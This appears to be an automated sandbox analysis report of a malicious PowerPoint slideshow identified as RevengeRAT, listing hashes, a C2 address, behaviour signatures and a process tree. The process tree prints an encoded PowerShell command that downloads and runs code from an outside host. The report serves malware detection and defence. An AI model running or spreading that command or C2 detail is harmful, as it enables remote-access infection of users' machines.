Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    06-06-2023 01:19

General

  • Target

    0562a2df06412fc0038afca2d27c4b1428681a518015cd2fd823df9b55db21f9.pps

  • Size

    134KB

  • MD5

    694b37ca1d29f2eedb4d408834c885e7

  • SHA1

    0c23ec46e7f460f8db3e14db0314eed2728fffcf

  • SHA256

    0562a2df06412fc0038afca2d27c4b1428681a518015cd2fd823df9b55db21f9

  • SHA512

    2e658f1a32592e7ffb3dab39c9b92c58d788a9aaf581f36422d6d64264ed073036a6230087a60218243158a946b574d4ef952110966946ab006dd9bb9ef572f9

  • SSDEEP

    3072:cPnoH4mXthE3HxBTBg/zDKQACpqM2IEVILRRRRR3:cPnRXyN2IEVILRRRRR3

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

m7.ddns.com.br:5222

Mutex

30c2ac3031a0

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\0562a2df06412fc0038afca2d27c4b1428681a518015cd2fd823df9b55db21f9.pps"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1760
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1512
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA==""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1156
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
            PID:1740

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1156-91-0x00000000022C0000-0x00000000022D8000-memory.dmp
        Filesize

        96KB

      • memory/1156-95-0x00000000022C0000-0x00000000022D8000-memory.dmp
        Filesize

        96KB

      • memory/1156-62-0x0000000002830000-0x0000000002870000-memory.dmp
        Filesize

        256KB

      • memory/1156-63-0x0000000002830000-0x0000000002870000-memory.dmp
        Filesize

        256KB

      • memory/1156-64-0x0000000002830000-0x0000000002870000-memory.dmp
        Filesize

        256KB

      • memory/1156-93-0x00000000022C0000-0x00000000022D8000-memory.dmp
        Filesize

        96KB

      • memory/1156-84-0x00000000022C0000-0x00000000022D8000-memory.dmp
        Filesize

        96KB

      • memory/1156-85-0x00000000022C0000-0x00000000022D8000-memory.dmp
        Filesize

        96KB

      • memory/1156-87-0x00000000022C0000-0x00000000022D8000-memory.dmp
        Filesize

        96KB

      • memory/1156-89-0x00000000022C0000-0x00000000022D8000-memory.dmp
        Filesize

        96KB

      • memory/1740-98-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1740-96-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1740-97-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1740-100-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/1740-99-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1740-101-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1740-103-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1740-105-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/1740-106-0x0000000004B50000-0x0000000004B90000-memory.dmp
        Filesize

        256KB

      • memory/1740-107-0x0000000004B50000-0x0000000004B90000-memory.dmp
        Filesize

        256KB

      • memory/1760-66-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/1760-61-0x0000000005430000-0x0000000005530000-memory.dmp
        Filesize

        1024KB

      • memory/1760-54-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB